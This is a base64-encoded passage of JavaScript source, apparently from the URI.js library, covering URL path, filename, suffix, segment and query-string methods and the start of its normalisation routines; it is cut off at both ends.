IH1cbiAgICAgIH0gZWxzZSBpZiAoIXRoaXMuX3BhcnRzLmhvc3RuYW1lIHx8IHRoaXMuaXMoJ0lQJykpIHtcbiAgICAgICAgdGhyb3cgbmV3IFJlZmVyZW5jZUVycm9yKCdjYW5ub3Qgc2V0IFRMRCBvbiBub24tZG9tYWluIGhvc3QnKTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIHJlcGxhY2UgPSBuZXcgUmVnRXhwKGVzY2FwZVJlZ0V4KHRoaXMudGxkKCkpICsgJyQnKTtcbiAgICAgICAgdGhpcy5fcGFydHMuaG9zdG5hbWUgPSB0aGlzLl9wYXJ0cy5ob3N0bmFtZS5yZXBsYWNlKHJlcGxhY2UsIHYpO1xuICAgICAgfVxuXG4gICAgICB0aGlzLmJ1aWxkKCFidWlsZCk7XG4gICAgICByZXR1cm4gdGhpcztcbiAgICB9XG4gIH07XG4gIHAuZGlyZWN0b3J5ID0gZnVuY3Rpb24odiwgYnVpbGQpIHtcbiAgICBpZiAodGhpcy5fcGFydHMudXJuKSB7XG4gICAgICByZXR1cm4gdiA9PT0gdW5kZWZpbmVkID8gJycgOiB0aGlzO1xuICAgIH1cblxuICAgIGlmICh2ID09PSB1bmRlZmluZWQgfHwgdiA9PT0gdHJ1ZSkge1xuICAgICAgaWYgKCF0aGlzLl9wYXJ0cy5wYXRoICYmICF0aGlzLl9wYXJ0cy5ob3N0bmFtZSkge1xuICAgICAgICByZXR1cm4gJyc7XG4gICAgICB9XG5cbiAgICAgIGlmICh0aGlzLl9wYXJ0cy5wYXRoID09PSAnLycpIHtcbiAgICAgICAgcmV0dXJuICcvJztcbiAgICAgIH1cblxuICAgICAgdmFyIGVuZCA9IHRoaXMuX3BhcnRzLnBhdGgubGVuZ3RoIC0gdGhpcy5maWxlbmFtZSgpLmxlbmd0aCAtIDE7XG4gICAgICB2YXIgcmVzID0gdGhpcy5fcGFydHMucGF0aC5zdWJzdHJpbmcoMCwgZW5kKSB8fCAodGhpcy5fcGFydHMuaG9zdG5hbWUgPyAnLycgOiAnJyk7XG5cbiAgICAgIHJldHVybiB2ID8gVVJJLmRlY29kZVBhdGgocmVzKSA6IHJlcztcblxuICAgIH0gZWxzZSB7XG4gICAgICB2YXIgZSA9IHRoaXMuX3BhcnRzLnBhdGgubGVuZ3RoIC0gdGhpcy5maWxlbmFtZSgpLmxlbmd0aDtcbiAgICAgIHZhciBkaXJlY3RvcnkgPSB0aGlzLl9wYXJ0cy5wYXRoLnN1YnN0cmluZygwLCBlKTtcbiAgICAgIHZhciByZXBsYWNlID0gbmV3IFJlZ0V4cCgnXicgKyBlc2NhcGVSZWdFeChkaXJlY3RvcnkpKTtcblxuICAgICAgLy8gZnVsbHkgcXVhbGlmaWVyIGRpcmVjdG9yaWVzIGJlZ2luIHdpdGggYSBzbGFzaFxuICAgICAgaWYgKCF0aGlzLmlzKCdyZWxhdGl2ZScpKSB7XG4gICAgICAgIGlmICghdikge1xuICAgICAgICAgIHYgPSAnLyc7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAodi5jaGFyQXQoMCkgIT09ICcvJykge1xuICAgICAgICAgIHYgPSAnLycgKyB2O1xuICAgICAgICB9XG4gICAgICB9XG5cbiAgICAgIC8vIGRpcmVjdG9yaWVzIGFsd2F5cyBlbmQgd2l0aCBhIHNsYXNoXG4gICAgICBpZiAodiAmJiB2LmNoYXJBdCh2Lmxlbmd0aCAtIDEpICE9PSAnLycpIHtcbiAgICAgICAgdiArPSAnLyc7XG4gICAgICB9XG5cbiAgICAgIHYgPSBVUkkucmVjb2RlUGF0aCh2KTtcbiAgICAgIHRoaXMuX3BhcnRzLnBhdGggPSB0aGlzLl9wYXJ0cy5wYXRoLnJlcGxhY2UocmVwbGFjZSwgdik7XG4gICAgICB0aGlzLmJ1aWxkKCFidWlsZCk7XG4gICAgICByZXR1cm4gdGhpcztcbiAgICB9XG4gIH07XG4gIHAuZmlsZW5hbWUgPSBmdW5jdGlvbih2LCBidWlsZCkge1xuICAgIGlmICh0aGlzLl9wYXJ0cy51cm4pIHtcbiAgICAgIHJldHVybiB2ID09PSB1bmRlZmluZWQgPyAnJyA6IHRoaXM7XG4gICAgfVxuXG4gICAgaWYgKHYgPT09IHVuZGVmaW5lZCB8fCB2ID09PSB0cnVlKSB7XG4gICAgICBpZiAoIXRoaXMuX3BhcnRzLnBhdGggfHwgdGhpcy5fcGFydHMucGF0aCA9PT0gJy8nKSB7XG4gICAgICAgIHJldHVybiAnJztcbiAgICAgIH1cblxuICAgICAgdmFyIHBvcyA9IHRoaXMuX3BhcnRzLnBhdGgubGFzdEluZGV4T2YoJy8nKTtcbiAgICAgIHZhciByZXMgPSB0aGlzLl9wYXJ0cy5wYXRoLnN1YnN0cmluZyhwb3MrMSk7XG5cbiAgICAgIHJldHVybiB2ID8gVVJJLmRlY29kZVBhdGhTZWdtZW50KHJlcykgOiByZXM7XG4gICAgfSBlbHNlIHtcbiAgICAgIHZhciBtdXRhdGVkRGlyZWN0b3J5ID0gZmFsc2U7XG5cbiAgICAgIGlmICh2LmNoYXJBdCgwKSA9PT0gJy8nKSB7XG4gICAgICAgIHYgPSB2LnN1YnN0cmluZygxKTtcbiAgICAgIH1cblxuICAgICAgaWYgKHYubWF0Y2goL1xcLj9cXC8vKSkge1xuICAgICAgICBtdXRhdGVkRGlyZWN0b3J5ID0gdHJ1ZTtcbiAgICAgIH1cblxuICAgICAgdmFyIHJlcGxhY2UgPSBuZXcgUmVnRXhwKGVzY2FwZVJlZ0V4KHRoaXMuZmlsZW5hbWUoKSkgKyAnJCcpO1xuICAgICAgdiA9IFVSSS5yZWNvZGVQYXRoKHYpO1xuICAgICAgdGhpcy5fcGFydHMucGF0aCA9IHRoaXMuX3BhcnRzLnBhdGgucmVwbGFjZShyZXBsYWNlLCB2KTtcblxuICAgICAgaWYgKG11dGF0ZWREaXJlY3RvcnkpIHtcbiAgICAgICAgdGhpcy5ub3JtYWxpemVQYXRoKGJ1aWxkKTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIHRoaXMuYnVpbGQoIWJ1aWxkKTtcbiAgICAgIH1cblxuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfVxuICB9O1xuICBwLnN1ZmZpeCA9IGZ1bmN0aW9uKHYsIGJ1aWxkKSB7XG4gICAgaWYgKHRoaXMuX3BhcnRzLnVybikge1xuICAgICAgcmV0dXJuIHYgPT09IHVuZGVmaW5lZCA/ICcnIDogdGhpcztcbiAgICB9XG5cbiAgICBpZiAodiA9PT0gdW5kZWZpbmVkIHx8IHYgPT09IHRydWUpIHtcbiAgICAgIGlmICghdGhpcy5fcGFydHMucGF0aCB8fCB0aGlzLl9wYXJ0cy5wYXRoID09PSAnLycpIHtcbiAgICAgICAgcmV0dXJuICcnO1xuICAgICAgfVxuXG4gICAgICB2YXIgZmlsZW5hbWUgPSB0aGlzLmZpbGVuYW1lKCk7XG4gICAgICB2YXIgcG9zID0gZmlsZW5hbWUubGFzdEluZGV4T2YoJy4nKTtcbiAgICAgIHZhciBzLCByZXM7XG5cbiAgICAgIGlmIChwb3MgPT09IC0xKSB7XG4gICAgICAgIHJldHVybiAnJztcbiAgICAgIH1cblxuICAgICAgLy8gc3VmZml4IG1heSBvbmx5IGNvbnRhaW4gYWxudW0gY2hhcmFjdGVycyAoeXVwLCBJIG1hZGUgdGhpcyB1cC4pXG4gICAgICBzID0gZmlsZW5hbWUuc3Vic3RyaW5nKHBvcysxKTtcbiAgICAgIHJlcyA9ICgvXlthLXowLTklXSskL2kpLnRlc3QocykgPyBzIDogJyc7XG4gICAgICByZXR1cm4gdiA/IFVSSS5kZWNvZGVQYXRoU2VnbWVudChyZXMpIDogcmVzO1xuICAgIH0gZWxzZSB7XG4gICAgICBpZiAodi5jaGFyQXQoMCkgPT09ICcuJykge1xuICAgICAgICB2ID0gdi5zdWJzdHJpbmcoMSk7XG4gICAgICB9XG5cbiAgICAgIHZhciBzdWZmaXggPSB0aGlzLnN1ZmZpeCgpO1xuICAgICAgdmFyIHJlcGxhY2U7XG5cbiAgICAgIGlmICghc3VmZml4KSB7XG4gICAgICAgIGlmICghdikge1xuICAgICAgICAgIHJldHVybiB0aGlzO1xuICAgICAgICB9XG5cbiAgICAgICAgdGhpcy5fcGFydHMucGF0aCArPSAnLicgKyBVUkkucmVjb2RlUGF0aCh2KTtcbiAgICAgIH0gZWxzZSBpZiAoIXYpIHtcbiAgICAgICAgcmVwbGFjZSA9IG5ldyBSZWdFeHAoZXNjYXBlUmVnRXgoJy4nICsgc3VmZml4KSArICckJyk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICByZXBsYWNlID0gbmV3IFJlZ0V4cChlc2NhcGVSZWdFeChzdWZmaXgpICsgJyQnKTtcbiAgICAgIH1cblxuICAgICAgaWYgKHJlcGxhY2UpIHtcbiAgICAgICAgdiA9IFVSSS5yZWNvZGVQYXRoKHYpO1xuICAgICAgICB0aGlzLl9wYXJ0cy5wYXRoID0gdGhpcy5fcGFydHMucGF0aC5yZXBsYWNlKHJlcGxhY2UsIHYpO1xuICAgICAgfVxuXG4gICAgICB0aGlzLmJ1aWxkKCFidWlsZCk7XG4gICAgICByZXR1cm4gdGhpcztcbiAgICB9XG4gIH07XG4gIHAuc2VnbWVudCA9IGZ1bmN0aW9uKHNlZ21lbnQsIHYsIGJ1aWxkKSB7XG4gICAgdmFyIHNlcGFyYXRvciA9IHRoaXMuX3BhcnRzLnVybiA/ICc6JyA6ICcvJztcbiAgICB2YXIgcGF0aCA9IHRoaXMucGF0aCgpO1xuICAgIHZhciBhYnNvbHV0ZSA9IHBhdGguc3Vic3RyaW5nKDAsIDEpID09PSAnLyc7XG4gICAgdmFyIHNlZ21lbnRzID0gcGF0aC5zcGxpdChzZXBhcmF0b3IpO1xuXG4gICAgaWYgKHNlZ21lbnQgIT09IHVuZGVmaW5lZCAmJiB0eXBlb2Ygc2VnbWVudCAhPT0gJ251bWJlcicpIHtcbiAgICAgIGJ1aWxkID0gdjtcbiAgICAgIHYgPSBzZWdtZW50O1xuICAgICAgc2VnbWVudCA9IHVuZGVmaW5lZDtcbiAgICB9XG5cbiAgICBpZiAoc2VnbWVudCAhPT0gdW5kZWZpbmVkICYmIHR5cGVvZiBzZWdtZW50ICE9PSAnbnVtYmVyJykge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKCdCYWQgc2VnbWVudCBcIicgKyBzZWdtZW50ICsgJ1wiLCBtdXN0IGJlIDAtYmFzZWQgaW50ZWdlcicpO1xuICAgIH1cblxuICAgIGlmIChhYnNvbHV0ZSkge1xuICAgICAgc2VnbWVudHMuc2hpZnQoKTtcbiAgICB9XG5cbiAgICBpZiAoc2VnbWVudCA8IDApIHtcbiAgICAgIC8vIGFsbG93IG5lZ2F0aXZlIGluZGV4ZXMgdG8gYWRkcmVzcyBmcm9tIHRoZSBlbmRcbiAgICAgIHNlZ21lbnQgPSBNYXRoLm1heChzZWdtZW50cy5sZW5ndGggKyBzZWdtZW50LCAwKTtcbiAgICB9XG5cbiAgICBpZiAodiA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAvKmpzaGludCBsYXhicmVhazogdHJ1ZSAqL1xuICAgICAgcmV0dXJuIHNlZ21lbnQgPT09IHVuZGVmaW5lZFxuICAgICAgICA/IHNlZ21lbnRzXG4gICAgICAgIDogc2VnbWVudHNbc2VnbWVudF07XG4gICAgICAvKmpzaGludCBsYXhicmVhazogZmFsc2UgKi9cbiAgICB9IGVsc2UgaWYgKHNlZ21lbnQgPT09IG51bGwgfHwgc2VnbWVudHNbc2VnbWVudF0gPT09IHVuZGVmaW5lZCkge1xuICAgICAgaWYgKGlzQXJyYXkodikpIHtcbiAgICAgICAgc2VnbWVudHMgPSBbXTtcbiAgICAgICAgLy8gY29sbGFwc2UgZW1wdHkgZWxlbWVudHMgd2l0aGluIGFycmF5XG4gICAgICAgIGZvciAodmFyIGk9MCwgbD12Lmxlbmd0aDsgaSA8IGw7IGkrKykge1xuICAgICAgICAgIGlmICghdltpXS5sZW5ndGggJiYgKCFzZWdtZW50cy5sZW5ndGggfHwgIXNlZ21lbnRzW3NlZ21lbnRzLmxlbmd0aCAtMV0ubGVuZ3RoKSkge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgICAgfVxuXG4gICAgICAgICAgaWYgKHNlZ21lbnRzLmxlbmd0aCAmJiAhc2VnbWVudHNbc2VnbWVudHMubGVuZ3RoIC0xXS5sZW5ndGgpIHtcbiAgICAgICAgICAgIHNlZ21lbnRzLnBvcCgpO1xuICAgICAgICAgIH1cblxuICAgICAgICAgIHNlZ21lbnRzLnB1c2godHJpbVNsYXNoZXModltpXSkpO1xuICAgICAgICB9XG4gICAgICB9IGVsc2UgaWYgKHYgfHwgdHlwZW9mIHYgPT09ICdzdHJpbmcnKSB7XG4gICAgICAgIHYgPSB0cmltU2xhc2hlcyh2KTtcbiAgICAgICAgaWYgKHNlZ21lbnRzW3NlZ21lbnRzLmxlbmd0aCAtMV0gPT09ICcnKSB7XG4gICAgICAgICAgLy8gZW1wdHkgdHJhaWxpbmcgZWxlbWVudHMgaGF2ZSB0byBiZSBvdmVyd3JpdHRlblxuICAgICAgICAgIC8vIHRvIHByZXZlbnQgcmVzdWx0cyBzdWNoIGFzIC9mb28vL2JhclxuICAgICAgICAgIHNlZ21lbnRzW3NlZ21lbnRzLmxlbmd0aCAtMV0gPSB2O1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIHNlZ21lbnRzLnB1c2godik7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgaWYgKHYpIHtcbiAgICAgICAgc2VnbWVudHNbc2VnbWVudF0gPSB0cmltU2xhc2hlcyh2KTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIHNlZ21lbnRzLnNwbGljZShzZWdtZW50LCAxKTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICBpZiAoYWJzb2x1dGUpIHtcbiAgICAgIHNlZ21lbnRzLnVuc2hpZnQoJycpO1xuICAgIH1cblxuICAgIHJldHVybiB0aGlzLnBhdGgoc2VnbWVudHMuam9pbihzZXBhcmF0b3IpLCBidWlsZCk7XG4gIH07XG4gIHAuc2VnbWVudENvZGVkID0gZnVuY3Rpb24oc2VnbWVudCwgdiwgYnVpbGQpIHtcbiAgICB2YXIgc2VnbWVudHMsIGksIGw7XG5cbiAgICBpZiAodHlwZW9mIHNlZ21lbnQgIT09ICdudW1iZXInKSB7XG4gICAgICBidWlsZCA9IHY7XG4gICAgICB2ID0gc2VnbWVudDtcbiAgICAgIHNlZ21lbnQgPSB1bmRlZmluZWQ7XG4gICAgfVxuXG4gICAgaWYgKHYgPT09IHVuZGVmaW5lZCkge1xuICAgICAgc2VnbWVudHMgPSB0aGlzLnNlZ21lbnQoc2VnbWVudCwgdiwgYnVpbGQpO1xuICAgICAgaWYgKCFpc0FycmF5KHNlZ21lbnRzKSkge1xuICAgICAgICBzZWdtZW50cyA9IHNlZ21lbnRzICE9PSB1bmRlZmluZWQgPyBVUkkuZGVjb2RlKHNlZ21lbnRzKSA6IHVuZGVmaW5lZDtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIGZvciAoaSA9IDAsIGwgPSBzZWdtZW50cy5sZW5ndGg7IGkgPCBsOyBpKyspIHtcbiAgICAgICAgICBzZWdtZW50c1tpXSA9IFVSSS5kZWNvZGUoc2VnbWVudHNbaV0pO1xuICAgICAgICB9XG4gICAgICB9XG5cbiAgICAgIHJldHVybiBzZWdtZW50cztcbiAgICB9XG5cbiAgICBpZiAoIWlzQXJyYXkodikpIHtcbiAgICAgIHYgPSAodHlwZW9mIHYgPT09ICdzdHJpbmcnIHx8IHYgaW5zdGFuY2VvZiBTdHJpbmcpID8gVVJJLmVuY29kZSh2KSA6IHY7XG4gICAgfSBlbHNlIHtcbiAgICAgIGZvciAoaSA9IDAsIGwgPSB2Lmxlbmd0aDsgaSA8IGw7IGkrKykge1xuICAgICAgICB2W2ldID0gVVJJLmVuY29kZSh2W2ldKTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gdGhpcy5zZWdtZW50KHNlZ21lbnQsIHYsIGJ1aWxkKTtcbiAgfTtcblxuICAvLyBtdXRhdGluZyBxdWVyeSBzdHJpbmdcbiAgdmFyIHEgPSBwLnF1ZXJ5O1xuICBwLnF1ZXJ5ID0gZnVuY3Rpb24odiwgYnVpbGQpIHtcbiAgICBpZiAodiA9PT0gdHJ1ZSkge1xuICAgICAgcmV0dXJuIFVSSS5wYXJzZVF1ZXJ5KHRoaXMuX3BhcnRzLnF1ZXJ5LCB0aGlzLl9wYXJ0cy5lc2NhcGVRdWVyeVNwYWNlKTtcbiAgICB9IGVsc2UgaWYgKHR5cGVvZiB2ID09PSAnZnVuY3Rpb24nKSB7XG4gICAgICB2YXIgZGF0YSA9IFVSSS5wYXJzZVF1ZXJ5KHRoaXMuX3BhcnRzLnF1ZXJ5LCB0aGlzLl9wYXJ0cy5lc2NhcGVRdWVyeVNwYWNlKTtcbiAgICAgIHZhciByZXN1bHQgPSB2LmNhbGwodGhpcywgZGF0YSk7XG4gICAgICB0aGlzLl9wYXJ0cy5xdWVyeSA9IFVSSS5idWlsZFF1ZXJ5KHJlc3VsdCB8fCBkYXRhLCB0aGlzLl9wYXJ0cy5kdXBsaWNhdGVRdWVyeVBhcmFtZXRlcnMsIHRoaXMuX3BhcnRzLmVzY2FwZVF1ZXJ5U3BhY2UpO1xuICAgICAgdGhpcy5idWlsZCghYnVpbGQpO1xuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfSBlbHNlIGlmICh2ICE9PSB1bmRlZmluZWQgJiYgdHlwZW9mIHYgIT09ICdzdHJpbmcnKSB7XG4gICAgICB0aGlzLl9wYXJ0cy5xdWVyeSA9IFVSSS5idWlsZFF1ZXJ5KHYsIHRoaXMuX3BhcnRzLmR1cGxpY2F0ZVF1ZXJ5UGFyYW1ldGVycywgdGhpcy5fcGFydHMuZXNjYXBlUXVlcnlTcGFjZSk7XG4gICAgICB0aGlzLmJ1aWxkKCFidWlsZCk7XG4gICAgICByZXR1cm4gdGhpcztcbiAgICB9IGVsc2Uge1xuICAgICAgcmV0dXJuIHEuY2FsbCh0aGlzLCB2LCBidWlsZCk7XG4gICAgfVxuICB9O1xuICBwLnNldFF1ZXJ5ID0gZnVuY3Rpb24obmFtZSwgdmFsdWUsIGJ1aWxkKSB7XG4gICAgdmFyIGRhdGEgPSBVUkkucGFyc2VRdWVyeSh0aGlzLl9wYXJ0cy5xdWVyeSwgdGhpcy5fcGFydHMuZXNjYXBlUXVlcnlTcGFjZSk7XG5cbiAgICBpZiAodHlwZW9mIG5hbWUgPT09ICdzdHJpbmcnIHx8IG5hbWUgaW5zdGFuY2VvZiBTdHJpbmcpIHtcbiAgICAgIGRhdGFbbmFtZV0gPSB2YWx1ZSAhPT0gdW5kZWZpbmVkID8gdmFsdWUgOiBudWxsO1xuICAgIH0gZWxzZSBpZiAodHlwZW9mIG5hbWUgPT09ICdvYmplY3QnKSB7XG4gICAgICBmb3IgKHZhciBrZXkgaW4gbmFtZSkge1xuICAgICAgICBpZiAoaGFzT3duLmNhbGwobmFtZSwga2V5KSkge1xuICAgICAgICAgIGRhdGFba2V5XSA9IG5hbWVba2V5XTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdVUkkuYWRkUXVlcnkoKSBhY2NlcHRzIGFuIG9iamVjdCwgc3RyaW5nIGFzIHRoZSBuYW1lIHBhcmFtZXRlcicpO1xuICAgIH1cblxuICAgIHRoaXMuX3BhcnRzLnF1ZXJ5ID0gVVJJLmJ1aWxkUXVlcnkoZGF0YSwgdGhpcy5fcGFydHMuZHVwbGljYXRlUXVlcnlQYXJhbWV0ZXJzLCB0aGlzLl9wYXJ0cy5lc2NhcGVRdWVyeVNwYWNlKTtcbiAgICBpZiAodHlwZW9mIG5hbWUgIT09ICdzdHJpbmcnKSB7XG4gICAgICBidWlsZCA9IHZhbHVlO1xuICAgIH1cblxuICAgIHRoaXMuYnVpbGQoIWJ1aWxkKTtcbiAgICByZXR1cm4gdGhpcztcbiAgfTtcbiAgcC5hZGRRdWVyeSA9IGZ1bmN0aW9uKG5hbWUsIHZhbHVlLCBidWlsZCkge1xuICAgIHZhciBkYXRhID0gVVJJLnBhcnNlUXVlcnkodGhpcy5fcGFydHMucXVlcnksIHRoaXMuX3BhcnRzLmVzY2FwZVF1ZXJ5U3BhY2UpO1xuICAgIFVSSS5hZGRRdWVyeShkYXRhLCBuYW1lLCB2YWx1ZSA9PT0gdW5kZWZpbmVkID8gbnVsbCA6IHZhbHVlKTtcbiAgICB0aGlzLl9wYXJ0cy5xdWVyeSA9IFVSSS5idWlsZFF1ZXJ5KGRhdGEsIHRoaXMuX3BhcnRzLmR1cGxpY2F0ZVF1ZXJ5UGFyYW1ldGVycywgdGhpcy5fcGFydHMuZXNjYXBlUXVlcnlTcGFjZSk7XG4gICAgaWYgKHR5cGVvZiBuYW1lICE9PSAnc3RyaW5nJykge1xuICAgICAgYnVpbGQgPSB2YWx1ZTtcbiAgICB9XG5cbiAgICB0aGlzLmJ1aWxkKCFidWlsZCk7XG4gICAgcmV0dXJuIHRoaXM7XG4gIH07XG4gIHAucmVtb3ZlUXVlcnkgPSBmdW5jdGlvbihuYW1lLCB2YWx1ZSwgYnVpbGQpIHtcbiAgICB2YXIgZGF0YSA9IFVSSS5wYXJzZVF1ZXJ5KHRoaXMuX3BhcnRzLnF1ZXJ5LCB0aGlzLl9wYXJ0cy5lc2NhcGVRdWVyeVNwYWNlKTtcbiAgICBVUkkucmVtb3ZlUXVlcnkoZGF0YSwgbmFtZSwgdmFsdWUpO1xuICAgIHRoaXMuX3BhcnRzLnF1ZXJ5ID0gVVJJLmJ1aWxkUXVlcnkoZGF0YSwgdGhpcy5fcGFydHMuZHVwbGljYXRlUXVlcnlQYXJhbWV0ZXJzLCB0aGlzLl9wYXJ0cy5lc2NhcGVRdWVyeVNwYWNlKTtcbiAgICBpZiAodHlwZW9mIG5hbWUgIT09ICdzdHJpbmcnKSB7XG4gICAgICBidWlsZCA9IHZhbHVlO1xuICAgIH1cblxuICAgIHRoaXMuYnVpbGQoIWJ1aWxkKTtcbiAgICByZXR1cm4gdGhpcztcbiAgfTtcbiAgcC5oYXNRdWVyeSA9IGZ1bmN0aW9uKG5hbWUsIHZhbHVlLCB3aXRoaW5BcnJheSkge1xuICAgIHZhciBkYXRhID0gVVJJLnBhcnNlUXVlcnkodGhpcy5fcGFydHMucXVlcnksIHRoaXMuX3BhcnRzLmVzY2FwZVF1ZXJ5U3BhY2UpO1xuICAgIHJldHVybiBVUkkuaGFzUXVlcnkoZGF0YSwgbmFtZSwgdmFsdWUsIHdpdGhpbkFycmF5KTtcbiAgfTtcbiAgcC5zZXRTZWFyY2ggPSBwLnNldFF1ZXJ5O1xuICBwLmFkZFNlYXJjaCA9IHAuYWRkUXVlcnk7XG4gIHAucmVtb3ZlU2VhcmNoID0gcC5yZW1vdmVRdWVyeTtcbiAgcC5oYXNTZWFyY2ggPSBwLmhhc1F1ZXJ5O1xuXG4gIC8vIHNhbml0aXppbmcgVVJMc1xuICBwLm5vcm1hbGl6ZSA9IGZ1bmN0aW9uKCkge1xuICAgIGlmICh0aGlzLl9wYXJ0cy51cm4pIHtcbiAgICAgIHJldHVybiB0aGlzXG4gICAgICAgIC5ub3JtYWxpemVQcm90b2NvbChmYWxzZSlcbiAgICAgICAgLm5vcm1hbGl6ZVBhdGgoZmFsc2UpXG4gICAgICAgIC5ub3JtYWxpemVRdWVyeShmYWxzZSlcbiAgICAgICAgLm5vcm1hbGl6ZUZyYWdtZW50KGZhbHNlKVxuICAgICAgICAuYnVpbGQoKTtcbiAgICB9XG5cbiAgICByZXR1cm4gdGhpc1xuICAgICAgLm5vcm1hbGl6ZVByb3RvY29sKGZhbHNlKVxuICAgICAgLm5vcm1hbGl6ZUhvc3RuYW1lKGZhbHNlKVxuICAgICAgLm5vcm1hbGl6ZVBvcnQoZmFsc2UpXG4gICAgICAubm9ybWFsaXplUGF0aChmYWxzZSlcbiAgICAgIC5ub3JtYWxpemVRdWVyeShmYWxzZSlcbiAgICAgIC5ub3JtYWxpemVGcmFnbWVudChmYWxzZSlcbiAgICAgIC5idWlsZCgpO1xuICB9O1xuICBwLm5vcm1hbGl6ZVByb3RvY29sID0gZnVuY3Rpb24oYnVpbGQpIHtcbiAgICBpZiAodHlwZW9mIHRoaXMuX3BhcnRzLnByb3RvY29sID09PSAnc3RyaW5nJykge1xuICAgICAgdGhpcy5fcGFydHMucHJvdG9jb2wgPSB0aGlzLl9wYXJ0cy5wcm90b2NvbC50b0xvd2VyQ2FzZSgpO1xuICAgICAgdGhpcy5idWlsZCghYnVpbGQpO1xuICAgIH1cblxuICAgIHJldHVybiB0aGlzO1xuICB9O1xuICBwLm5vcm1hbGl6ZUhvc3RuYW1lID0gZnVuY3Rpb24oYnVpbGQpIHtcbiAgICBpZiAodGhpcy5fcGFydHMuaG9zdG5hbWUpIHtcbiAgICAgIGlmICh0aGlzLmlzKCdJRE4nKSAmJiBwdW55Y29kZSkge1xuICAgICAgICB0aGlzLl9wYXJ0cy5ob3N0bmFtZSA9IHB1bnljb2RlLnRvQVNDSUkodGhpcy5fcGFydHMuaG9zdG5hbWUpO1xuICAgICAgfSBlbHNlIGlmICh0aGlzLmlzKCdJUHY2JykgJiYgSVB2Nikge1xuICAgICAgICB0aGlzLl9wYXJ0cy5ob3N0bmFtZSA9IElQdjYuYmVzdCh0aGlzLl9wYXJ0cy5ob3N0bmFtZSk7XG4gICAgICB9XG5cbiAgICAgIHRoaXMuX3BhcnRzLmhvc3RuYW1lID0gdGhpcy5fcGFydHMuaG9zdG5hbWUudG9Mb3dlckNhc2UoKTtcbiAgICAgIHRoaXMuYnVpbGQoIWJ1aWxkKTtcbiAgICB9XG5cbiAgICByZXR1cm4gdGhpcztcbiAgfTtcbiAgcC5ub3JtYWxpemVQb3J0ID0gZnVuY3Rpb24oYnVpbGQpIHtcbiAgICAvLyByZW1vdmUgcG9ydCBvZiBpdCdzIHRoZSBwcm90b2NvbCdzIGRlZmF1bHRcbiAgICBpZiAodHlwZW9mIHRoaXMuX3BhcnRzLnByb3RvY29sID09PSAnc3RyaW5nJyAmJiB0aGlzLl9wYXJ0cy5wb3J0ID09PSBVUkkuZGVmYXVsdFBvcnRzW3RoaXMuX3BhcnRzLnByb3RvY29sXSkge1xuICAgICAgdGhpcy5fcGFydHMucG9ydCA9IG51bGw7XG4gICAgICB0aGlzLmJ1aWxkKCFidWlsZCk7XG4gICAgfVxuXG4gICAgcmV0dXJuIHRoaXM7XG4gIH07XG4gIHAubm9ybWFsaXplUGF0aCA9IGZ1bmN0aW9uKGJ1aWxkKSB7XG4gICAgdmFyIF9wYXRoID0gdGhpcy5fcGFydHMucGF0aDtcbiAgICBpZiAoIV9wYXRoKSB7XG4gICAgICByZXR1cm4gdGhpcztcbiAgICB9XG5cbiAgICBpZiAodGhpcy5fcGFydHMudXJuKSB7XG4gICAgICB0aGlzLl9wYXJ0cy5wYXRoID0gVVJJLnJlY29kZVVyblBhdGgodGhpcy5fcGFydHMucGF0aCk7XG4gICAgICB0aGlzLmJ1aWxkKCFidWlsZCk7XG4gICAgICByZXR1cm4gdGhpcztcbiAgICB9XG5cbiAgICBpZiAodGhpcy5fcGFydHMucGF0aCA9PT0gJy8nKSB7XG4gICAgICByZXR1cm4gdGhpcztcbiAgICB9XG5cbiAgICB2YXIgX3dhc19yZWxhdGl2ZTtcbiAgICB2YXIgX2xlYWRpbmdQYXJlbnRzID0gJyc7XG4gICAgdmFyIF9wYXJlbnQsIF9wb3M7XG5cbiAgICAvLyBoYW5kbGUgcmVsYXRpdmUgcGF0aHNcbiAgICBpZiAoX3BhdGguY2hhckF0KDApICE9PSAnLycpIHtcbiAgICAgIF93YXNfcmVsYXRpdmUgPSB0cnVlO1xuICAgICAgX3BhdGggPSAnLycgKyBfcGF0aDtcbiAgICB9XG5cbiAgICAvLyBoYW5kbGUgcmVsYXRpdmUgZmlsZXMgKGFzIG9wcG9zZWQgdG8gZGlyZWN0b3JpZXMpXG4gICAgaWYgKF9wYXRoLnNsaWNlKC0zKSA9PT0gJy8uLicgfHwgX3BhdGguc2xpY2UoLTIpID09PSAnLy4nKSB7XG4gICAgICBfcGF0aCArPSAnLyc7XG4gICAgfVxuXG4gICAgLy8gcmVzb2x2ZSBzaW1wbGVzXG4gICAgX3BhdGggPSBfcGF0aFxuICAgICAgLnJlcGxhY2UoLyhcXC8oXFwuXFwvKSspfChcXC9cXC4kKS9nLCAnLycpXG4gICAgICAucmVwbGFjZSgvXFwvezIsfS9nLCAnLycpO1xuXG4gICAgLy8gcmVtZW1iZXIgbGVhZGluZyBwYXJlbnRzXG4gICAgaWYgKF93YXNfcmVsYXRpdmUpIHtcbiAgICAgIF9sZWFkaW5nUGFyZW50cyA9IF9wYXRoLnN1YnN0cmluZygxKS5tYXRjaCgvXihcXC5cXC5cXC8pKy8pIHx8ICcnO1xuICAgICAgaWYgKF9sZWFkaW5nUGFyZW50cykge1xuICAgICAgICBfbGVhZGluZ1BhcmVudHMgPSBfbGVhZGluZ1BhcmVudHNbMF07XG4gICAgICB9XG4gICAgfVxuXG4gICAgLy8gcmVzb2x2ZSBwYXJlbnRzXG4gICAgd2hpbGUgKHRydWUpIHtcbiAgICAgIF9wYXJlbnQgPSBfcGF0aC5pbmRleE9mKCcvLi4nKTtcbiAgICAgIGlmIChfcGFyZ